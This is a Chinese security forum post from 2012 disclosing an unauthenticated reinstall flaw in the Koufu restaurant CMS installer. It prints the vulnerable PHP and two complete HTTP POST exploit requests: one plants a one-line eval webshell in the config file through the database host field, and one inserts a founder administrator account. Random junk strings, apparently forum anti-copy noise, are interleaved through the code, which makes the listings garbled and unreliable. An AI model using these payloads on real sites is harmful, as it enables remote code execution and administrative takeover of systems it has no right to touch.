找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2158|回复: 0
打印 上一主题 下一主题

口福科技餐厅cms漏洞(可getshell)

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-4 11:13:44 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
问题出在/install/index.php文件。在程序安装完后,会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。
# x' ?" c6 @- ~9 B$ W* {* w7 S# J7 K+ r# a; p
<?php
; G. h$ F' A: X% M4 K- Y4 Gif(file_exists("../install.lock"))
! k, Q* q/ W: u+ L- U( a) m5 n) ^{3 v" {/ V; K. ]( y; V; x! k9 p
    header("Location: ../");//没有退出
# Z% A4 H" `( j1 O- K& Y}
7 ?7 j7 A2 Y* j5 z$ i               
2 h! p7 i9 ]0 z5 [( W' X//echo 'tst';exit;
$ l3 g3 \# W  P: ?- b7 Q9 \require_once("init.php");& g; b# [1 B/ }& K
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)& O1 q  N/ Z# [$ `# G6 r; Y/ t! i8 L
{2 W) N' M% D* x- q" T; y
可见在/install/index.php存在时,只是header做了302重定向并没有退出,也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。
% I- k. d- }, R2 q9 g, M0 b5 a; O1 o! q3 D( @
1、getshell(很危险)
) l) m3 z% G  d9 Z3 W. l. Wif(empty($_REQUEST['step']) || $_REQUEST['step']==1)" B8 p* D0 t3 P% H6 v
{: L; h& Y: G3 f' b  P
$smarty->assign("step",1);
( M: ?" A% r7 h* d$smarty->display("index.html");
; X4 f3 Q4 p) P; Y}elseif($_REQUEST['step']==2)
) f( m# y4 Y4 y0 k' T6 u6 R{" o- n5 y) n  U) y3 m
    $mysql_host=trim($_POST['mysql_host']);
+ v+ A& W! {7 n" D0 j    $mysql_user=trim($_POST['mysql_user']);5 {# m4 F% d: O) R- P
    $mysql_pwd=trim($_POST['mysql_pwd']);
" ]* {/ b" U; I( g6 _: Q4 S/ E( z    $mysql_db=trim($_POST['mysql_db']);
" d! ?! M1 ~# D5 E    $tblpre=trim($_POST['tblpre']);/ _5 L: e: N2 [1 H" F+ p: ]# i
    $domain==trim($_POST['domain']);
$ S  n6 b9 }' }# Y$ \7 I( H  d    $str="<?php \r\n";
. J# e3 ~1 E7 i& i# r9 Z2 N5 a( N8 a    $str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";6 i! d3 X' ~$ t# h" K9 R3 l6 Q
    $str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";
  V- \1 c0 c6 R- C# F) u; h* i2 M) z    $str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";! A0 Z" J9 `* D  y5 o  y- `0 L
    $str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";
, a8 x/ D0 b' r* t3 Q    $str.='define("MYSQL_CHARSET","GBK");'."\r\n";1 ^2 B9 g1 D' ]$ |1 J+ H; V; Q0 |
    $str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";
3 S% B- r2 D1 n    $str.='define("DOMAIN","'.$domain.'");'."\r\n";* E8 K9 R* J8 {2 |+ y
    $str.='define("SKINS","default");'."\r\n";/ b: v* ~8 o% {! h+ c7 G
    $str.='?>';4 [* n. `+ S0 x" |
    file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件
( Q3 t" t$ I  [9 [上面的代码将POST的数据直接写入了../config/config.inc.php文件,那么我们提交如下POST包,即可获得一句话木马" P2 b3 K# h0 G; Z* Z- w& A: q
POST /canting/install/index.php?m=index&step=2 HTTP/1.10 x5 |0 T1 r1 `+ |
Host: 192.168.80.129
* @1 r  l9 w- ^# gUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0: p& B* h( ~7 Q" C1 F3 D
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.88 P5 L- R: R/ a' E+ h& v, ?
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
% J) ]  z/ Q  u# N% L: ZAccept-Encoding: gzip, deflate* O$ @& ]& r7 @& S2 z% {* N
Referer: http://192.168.80.129/canting/install/index.php?step=1
( I- y7 j* f8 V. t' A, A! T9 gCookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
* K) @* {0 D* D/ V0 ?& U$ zContent-Type: application/x-www-form-urlencoded
: F* ]% U. i! d# n. Y& F/ I- ]Content-Length: 1267 x  H2 v: Z. h7 b
          # C6 x: ]7 g2 `# D+ l
mysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD6 {  P$ b- S6 [' j
但是这个方法很危险,将导致网站无法运行。9 r" Z0 o7 x1 ?5 o# }3 w  E
6 u; k4 e6 o2 f. v) K, ^% G! ^
2、直接添加管理员7 N, d& @* m% y! O4 y+ `* U8 w$ h
9 d! v. f8 R+ O; e
elseif($_REQUEST['step']==5)3 y" a8 }4 c$ L! |
{
4 y2 r* x, m, S5 |* F9 I    if($_POST)+ H: `( o+ H8 @3 c$ [8 F6 {
    {   require_once("../config/config.inc.php");) A& w" k) {- E" n  r" K( U7 V
        $link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);
$ M+ r( b1 i- V  Y        mysql_select_db(MYSQL_DB,$link);
' v  N+ ~+ Y$ \7 C        mysql_query("SET NAMES ".MYSQL_CHARSET );# p+ B8 A$ G' P( G1 W2 X
         mysql_query("SET sql_mode=''");; A9 s5 E* \) v" C9 V: G* ~

* ]4 e! A- z2 q/ |0 W, W& }' o0 u $adminname=trim($_POST['adminname']);
, {" m8 G5 {/ I' R* f1 f        $pwd1=trim($_POST['pwd1']);9 K% N& O# {3 l
        $pwd2=trim($_POST['pwd2']);+ F* q4 V4 u* l* K3 O
        if(empty($adminname))
, m# M) G4 g( ~7 [3 ?        {6 n6 t" Z( e' ~1 T; q

5 ^2 U9 c) X/ y2 W% a3 a; @! _( n" V9 f echo "<script>alert('管理员不能为空');history.go(-1);</script>";' v. _+ l8 r6 y4 e$ v% s
            exit();5 R0 F! m$ d% C$ a! F5 c. i1 o
        }3 _4 v( X9 o6 F! D! ~$ `0 g
        if(($pwd1!=$pwd2) or empty($pwd1))
  r1 f! v( E" @        {
$ Z( `; B( e9 B' D) W& W2 A$ h- q            echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出' i# v* R, J/ A, u1 c6 `2 q0 Q0 }; B
        }- B: ^5 E  e# k
        mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员
' l7 p& `; \5 X, P5 F2 d    }
4 A% \$ I. q9 ~/ o, M/ i/ Q% H这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号,语句如下:
* G4 o7 F6 S' X0 \. aPOST /canting/install/index.php?m=index&step=5 HTTP/1.1
$ B/ j" V4 @/ e! d  cHost: 192.168.80.129
4 h, m: E' H- v# i: C* n/ U( C+ x9 \8 GUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.09 ?3 k3 B5 h8 l4 n4 P; P8 V  I9 X. D
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
- r, [. _9 H* HAccept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
1 I5 y6 o' Y) I0 v! C, SAccept-Encoding: gzip, deflate
8 U7 ]5 @: |( f, GReferer: http://www.2cto.com /canting/install/index.php?step=1* [' b5 F- [# ^' y5 G
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
1 \3 G4 {% K5 z# C/ K; gContent-Type: application/x-www-form-urlencoded( q% @& Z$ y" \' h" D: ]+ J
Content-Length: 464 `% V4 g5 t/ e0 d1 ^
      
$ Y0 _' u9 m: v6 f. `. M* V; Badminname=qingshen&pwd1=qingshen&pwd2=qingshen​
$ w" u1 G8 A" V" c6 Q7 z
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表